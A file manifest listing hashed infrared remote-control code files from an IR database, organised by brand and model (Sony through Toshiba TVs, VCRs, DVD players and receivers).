+F:8b7af5ba2cf774d9bb14e5dae7ccfb3d:2062:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir +F:042d23f945a39206aa82b6b74ddef67d:2859:infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir +F:88ef81589d99cbf9c4b3f31277be4a65:2852:infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir +F:0d6e64b759418495f9eb6fad9b795f88:1371:infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir +F:88a0a64b3acd4ca4e98540aa85acff0f:1189:infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir +F:ab0a2a3c13f038f509f0c14b0ae7f8e4:1168:infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir +F:a1fb63edbda291cb4b24c28a4fe806a8:1169:infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir +F:9580c3e3cc8627555072ef13c63a318a:2669:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir +F:b7fcd1e9161a57f4ba2c3b7abd1ec5fb:2777:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir +F:155855f61e549dcc7a1d86292712f6c3:2878:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir +F:f5b470fb1f19598f90f77258df8e78ae:4237:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir +F:1bf640cd6b631e797ece4d9313262890:1818:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir +F:4be0f52789b998164190129fb9059a61:1012:infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir +F:610c6908a8502140902869ebd765751c:717:infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir +F:7faef0d46b3197ee853f9fea83af8c14:4032:infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir +F:3b3338a1c6e21c7c58ba1bc5d3080a9c:2177:infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir +F:eafc33bd4b281a9838215a8c9dbef41e:3261:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir +F:933c95e05694f36438129c96209b4fe4:3097:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir +F:d209d3d3c36ad99086057f6567da9aee:2979:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir +F:98741fa1ca5655344ec7b8ccf7b7f4eb:4049:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir +F:550e713ff845654cbab156e50cde46c0:1083:infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir +F:6c416b1273b765552697a50d5861652a:3175:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir +F:75d167ee21484301c0217fc60e9958a8:3366:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir +F:8b96c651e1050694801d2d08e3321924:4533:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir +F:f9831ffadd4a0e77fc042cb73dcf0dd7:2676:infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir +F:c86b4d0881c2b6b697a32ee0d4482b26:318:infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir +F:1d537b757a3c8ae803e1ebf7971d37c3:3189:infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir +F:040c63b21da9e2020b7d0f141fced8a3:3961:infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir +F:9df426d84d1fb2c9dbc6152ee02c33e9:1642:infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir +F:5a9baa5e438a6742bcc97dd02c17a318:7754:infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir +F:257752a28735041ede8459701eed786a:3406:infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir +F:360d8b79bdfa49d79c276b85b3df113f:1344:infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir +F:89e21f28a75b48ef49b23a1275d294f6:1745:infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir +F:08c48e13f0fc53197fd8a5f0df20b4d1:1731:infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir +F:1b272001c1b6236f112fc9e719fd7280:3030:infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir +F:eb70b6cd3eda1024b4962c7d77c52a39:2144:infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir +F:89d4de8b45187f2e0efd4c9e3f42efb1:2853:infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir +F:69f4725285f5c8ae22b6de37d24be269:5870:infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir +F:8ba70b3a61074f902c191c9a1136069b:7543:infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir +F:4bc2f58d488d26f1a629f8ff85da3e0e:126:infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir +F:69632338d66a7a2d712ef273dd641dd9:229:infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir +F:eca68ea9da72da084a0be3a819786494:17392:infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir +F:14c598b0a2c21fa9e1263413cb9a3565:1753:infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir +F:d63130da53a30ae34dde34fbf43140d9:1188:infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir +F:19b3ecc2179b3cd23b4bc8ddbd6a5ed8:5133:infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir +F:d19393a2ba2e893d2f9d38a0807557bf:9644:infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir +F:19624cd596de13fc68571b5d683f407b:3527:infrared/_CSV-IRDB_/Sony/VCR/25,37.ir +F:ed96b534eba48d3410ac74ea24933217:231:infrared/_CSV-IRDB_/Sony/VCR/25,69.ir +F:743a2a0983caab20b631f007a79b2cc1:127:infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir +F:a70166cb2ea87c5c6f77731096a8a7bb:8397:infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir +F:eab05f0e02c11325a3ae334894489a91:872:infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir +F:f4c1666d8ac59085dd6c55b9e6fc5936:5887:infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir +F:fc779307d4264e40891c019b4d4514bf:11195:infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir +D:infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399 +F:ad5d4b6bef0d6eff4bea2525022f8ba3:4696:infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir +D:infrared/_CSV-IRDB_/Starsat/Unknown_120 +F:81b8b48c7e2fa22058302efda69316d3:3884:infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir +D:infrared/_CSV-IRDB_/Starview/Unknown_Starview +F:45f6ffa9115865e71bea38d3844bdf18:3142:infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir +D:infrared/_CSV-IRDB_/Streamzap/Unknown_PC +F:6f59e48b9a68d568f932f36fed229d0d:3368:infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir +D:infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision +F:7ec99e1a58116dc650a7639dbe70dd9c:4288:infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir +D:infrared/_CSV-IRDB_/Sunfire/Surround Processor +F:eb396765895c3772c4fc7ec078db6684:2257:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir +F:26960aa61db7333b73e6c79e7e2ebafa:407:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir +F:6d1fa7aa9ec8e120c6031bcee17b8910:226:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir +D:infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002 +F:6094653f66a384d379e2e476f7cd294e:3270:infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir +D:infrared/_CSV-IRDB_/Supermax/Unknown_Supermax +F:a71657af1cb4a7502bbf0f55ab744f97:2752:infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir +D:infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15 +F:48986062bfc936554557f11c47a74ae5:3361:infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir +D:infrared/_CSV-IRDB_/Syabas/Unknown_A-100 +F:f889f531cef168b341c7a0681c27e6e5:4803:infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir +D:infrared/_CSV-IRDB_/Symphonic/TV +D:infrared/_CSV-IRDB_/Symphonic/VCR +F:1bbadefc3e9bb3f8c0debe5abc253392:2038:infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir +F:a9870e44144efbdc75c6d34fbeae64db:2613:infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir +F:b3d84c24aef29c6a124a4347de645697:130:infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir +D:infrared/_CSV-IRDB_/TCM/Unknown_212845-CD +D:infrared/_CSV-IRDB_/TCM/Unknown_218681 +D:infrared/_CSV-IRDB_/TCM/Unknown_225925 +D:infrared/_CSV-IRDB_/TCM/Unknown_225926 +D:infrared/_CSV-IRDB_/TCM/Unknown_96518 +D:infrared/_CSV-IRDB_/TCM/Unknown_TCM +F:939cab01de7bf18a0a5db05755aa28a1:3453:infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir +F:a7be7315250ad9f789904519cb6a0fdb:3136:infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir +F:fcc3c2777a8887982864ef2595b114ce:2691:infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir +F:5b83a9513221017896df1f87fcc5d0e4:2691:infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir +F:2218917a1fc6f218af2dffed589d2821:3445:infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir +F:df6e48ebceb61e3a62dd0c03374c2618:3057:infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir +D:infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX +F:0a622898b546ec4bf5b56b9d381e6cdd:3823:infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir +D:infrared/_CSV-IRDB_/TEAC/DVD Player +D:infrared/_CSV-IRDB_/TEAC/Unknown_CD +D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-547 +D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-548 +D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-558 +D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-614 +D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-909 +F:739104fc3d7ff1ec2b9e26f2a0e2ba6e:3346:infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir +F:4236c8a13bdd7de1082e54b69097bd25:2562:infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir +F:9a127790c6c6a2b6b58166be795a9c46:2862:infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir +F:6e178b39b1f9b174ccb6493812dd636d:327:infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir +F:ebc73c7f77a5f4515df0063ef766b8b3:2214:infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir +F:7d5215eef6553b2412606a44cff7f281:1387:infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir +F:03aafd46021ea56772fff99fb6528db7:3612:infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir +F:aefba38c3b901d8a1334bb66eea0eb3d:2902:infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir +D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880 +D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798 +D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799 +D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300 +D:infrared/_CSV-IRDB_/TECHNICS/Unknown_cd +D:infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a +F:105a4277c0563d0c99d5d287ff455ad5:2868:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir +F:11a73108ff090674768b520db38f6213:3141:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir +F:a69c3a115261d6d1048e41b5fc6a0397:3150:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir +F:c086690a6d442293e79ce4246be8c33f:2292:infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir +F:aa8d25bf6031105cb539ce4947b7cd00:3267:infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir +F:80298104c7bb83b39a0c25fabb3f0d01:3262:infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035 +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35 +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf +D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e +F:9bf9f9e9e34df288071e597bca83c2b9:3220:infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir +F:e20e0c5f08bf72fee5733254089b5d80:3245:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir +F:7a45d8d6e864a2b9ca01ac41ba7979dd:4042:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir +F:52c3d8bbc74803ca1eadc18bcf71c9f8:2769:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir +F:2d3381d5455ce686802883bd42302251:2498:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir +F:e386bc508290dd4d0454dd785a2631ad:536:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir +F:c6668052a68234e75569c51a771baab1:3170:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir +F:7e12c4089e5431006874dbcaf2814df9:3125:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir +F:af1fc813fe83433ee575af5c96b0e746:3418:infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir +D:infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000 +D:infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127 +D:infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345 +D:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550 +D:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B +F:e624e0e2c9e7bbd312a18b8e47f7b1cd:3160:infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir +F:09ff86b4b590eaed6e9ef1279906a3a6:1945:infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir +F:a0b84acde1d4c62cd8a4cd93c31973fc:2097:infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir +F:8eb625e9f0b06f868601802906b47233:5785:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir +F:2105369f11afaea0fb3fb513c5b52e87:3038:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir +D:infrared/_CSV-IRDB_/TRIAX/Unknown_DVB +F:db3a4553dd617760df0b3c7c780353fa:2004:infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir +D:infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit +F:84b86d888c5f4efaa8e6a1b86c4de8fb:1365:infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir +D:infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner +F:317fa10fa1a035f3f02df14da375b492:2227:infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir +D:infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204 +F:ad129522d23ca9548261babe8c9afbd1:4018:infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir +D:infrared/_CSV-IRDB_/Technotrend/Unknown_DVB +D:infrared/_CSV-IRDB_/Technotrend/Unknown_Micro +D:infrared/_CSV-IRDB_/Technotrend/Unknown_S2400 +D:infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend +D:infrared/_CSV-IRDB_/Technotrend/Unknown_remote +F:8cf8209e0a9b956e9e7ff9646b343ab7:3615:infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir +F:cc76c12e2139941c94b7c24364b9764d:3154:infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir +F:3cd59bc8fb096c69737bcebc212e3053:3545:infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir +F:6fe22508f6771d3e5d4dfbac7cbf814e:3555:infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir +F:eba05fec46fd374c6d1227516cf1c3ad:3138:infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir +D:infrared/_CSV-IRDB_/Teleka/Unknown_STR2060 +F:54704079a79ab43cc78c7cfe7b807e59:2074:infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir +D:infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card +F:a213371fa177a0c1c0c3195c6221c565:693:infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir +D:infrared/_CSV-IRDB_/Televes/Unknown_145075 +D:infrared/_CSV-IRDB_/Televes/Unknown_711701 +F:5b7aea003590afd706d25fd26b788752:3788:infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir +F:2db15a624d69b0061cfaa7edcd2c82d0:3749:infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir +D:infrared/_CSV-IRDB_/Tensai/Unknown_5340fb +F:4c0ccd9a5ddaf14bccd1b1e7364d4370:2203:infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir +D:infrared/_CSV-IRDB_/Terratec/Internet Radio +D:infrared/_CSV-IRDB_/Terratec/Unknown_1400 +D:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy +D:infrared/_CSV-IRDB_/Terratec/Unknown_M3PO +D:infrared/_CSV-IRDB_/Terratec/Unknown_home +F:e21e9c5d6858da6b3a419f7b6b732758:2925:infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir +F:1dbc9f26afd515415645d6d694dbb175:3455:infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir +F:15eb42a15492915420d1e661930aee0b:3363:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir +F:a40f8adaaee0a0715f66a7f6fff9de66:4581:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir +F:78506bae775a931c4139da0aa56449a3:3629:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir +F:4451300710c217191074faf2c0fbc71d:1759:infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir +F:ce5126a82e863431ca9086d13c815571:1198:infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir +D:infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD +D:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla +F:cdaa004aba8380c6e5f6ddbe4fc52bb2:3897:infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir +F:fb3a6905d9641394737d2d10c9298447:3130:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir +F:9be574a6090a42a875db75427ac0e301:2847:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir +D:infrared/_CSV-IRDB_/Tevion/Unknown_3830 +D:infrared/_CSV-IRDB_/Tevion/Unknown_41666 +D:infrared/_CSV-IRDB_/Tevion/Unknown_DFA +D:infrared/_CSV-IRDB_/Tevion/Unknown_DVD +D:infrared/_CSV-IRDB_/Tevion/Unknown_MD +D:infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410 +D:infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL +D:infrared/_CSV-IRDB_/Tevion/Unknown_RS20536 +D:infrared/_CSV-IRDB_/Tevion/Unknown_SAT928 +D:infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD +D:infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV +D:infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603 +D:infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020 +D:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383 +D:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905 +D:infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607 +F:a4f5811d4858f3db293df97fb0ca6613:3441:infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir +F:ea8ee69a7ef05351481743b20552435a:3829:infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir +F:668de8558b59f6f5e2e312351ad328c5:3267:infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir +F:158ac16fa465c9d08c36a94409d549b2:3258:infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir +F:fccd6a0a700b76727f2c28768978b997:3731:infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir +F:afc65bfd0f61f8d101756ab8b688c188:3604:infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir +F:3fb034835c2c624629810eba5a9277bc:3156:infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir +F:ec7f5a77110e2f192143440c7ac7977a:1469:infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir +F:be4fadba1a28591efe1bcf04fc568e2a:3248:infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir +F:0afc37c6c0fcbf6e24701ad9ca65b172:3448:infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir +F:adb7141e301253f22c6cc59617bd917a:5456:infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir +F:94fbed0523b777fea5be2353ccd9d56a:5229:infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir +F:7f14f00295ab0a38c6f95abee2d5aa48:4094:infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir +F:e9cae905ed59eaa42afff4da9a3e2451:4583:infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir +F:ae75324428d6d55b1f0e08cfd94e0350:4004:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir +F:1fb871d67ffdf3f4ee94cfb16496c86c:4110:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir +F:3792a5f24f7219a9cd84dac5c6806036:2796:infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir +D:infrared/_CSV-IRDB_/Theta Digital/DVD Player +D:infrared/_CSV-IRDB_/Theta Digital/Surround Processor +F:e4a7538ac01962b6c920cb61e771f44f:2892:infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir +F:6c439d1fc3dcb50164e9404f03803182:2127:infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir +F:187cdef64b732a722018dc093d264d7a:3726:infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir +D:infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb +F:5c5a1792196bef9833569a92d324964c:2567:infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir +D:infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON +F:f912e06600b073c44d5e805d68864948:3553:infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir +D:infrared/_CSV-IRDB_/Thomson/Unknown_230 +D:infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1 +D:infrared/_CSV-IRDB_/Thomson/Unknown_TM9258 +D:infrared/_CSV-IRDB_/Thomson/Unknown_TV +F:ac0bf7e3296fb8444f18767b65185a4e:3824:infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir +F:bac14c1fb70bcf9e68de3b05daef72e2:2763:infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir +F:e98f78f6cb49b64cbe0177cc5b7fcc3d:1293:infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir +F:821c278573ad51263adac374c1346f29:2507:infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir +D:infrared/_CSV-IRDB_/TiVo/PVR +D:infrared/_CSV-IRDB_/TiVo/TiVo +D:infrared/_CSV-IRDB_/TiVo/Unknown_Series1 +F:f312f42827808761969f64256242ca94:2141:infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir +F:349548166bf442d3d78c16f6f08a98d1:3294:infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir +F:3e746b0a9cb6899c3ed161d2d33ee443:3552:infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir +D:infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius +F:ea7874bf3b25e5753e91aac20b0fdf36:2115:infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir +D:infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715 +F:638578fddb3268e66a15345e22d0c64c:4106:infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir +D:infrared/_CSV-IRDB_/Topfield/Unknown_PVR +D:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi +D:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR +F:03535f3ed408f54067cf12e9b485840c:4387:infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir +F:73024a1b24a5450bceaebd08f123f041:3720:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir +F:ac60c2549c42656b229e38d008da7424:3559:infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir +D:infrared/_CSV-IRDB_/Topseed/Unknown_Topseed +F:50c6aeb78f15fb51f9f512d3b0175476:4995:infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir +D:infrared/_CSV-IRDB_/Toshiba/DVD Player +D:infrared/_CSV-IRDB_/Toshiba/TV +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q +D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA +D:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV +D:infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R +D:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T +D:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B +D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11 +D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G +D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W +D:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F +D:infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210 +D:infrared/_CSV-IRDB_/Toshiba/VCR 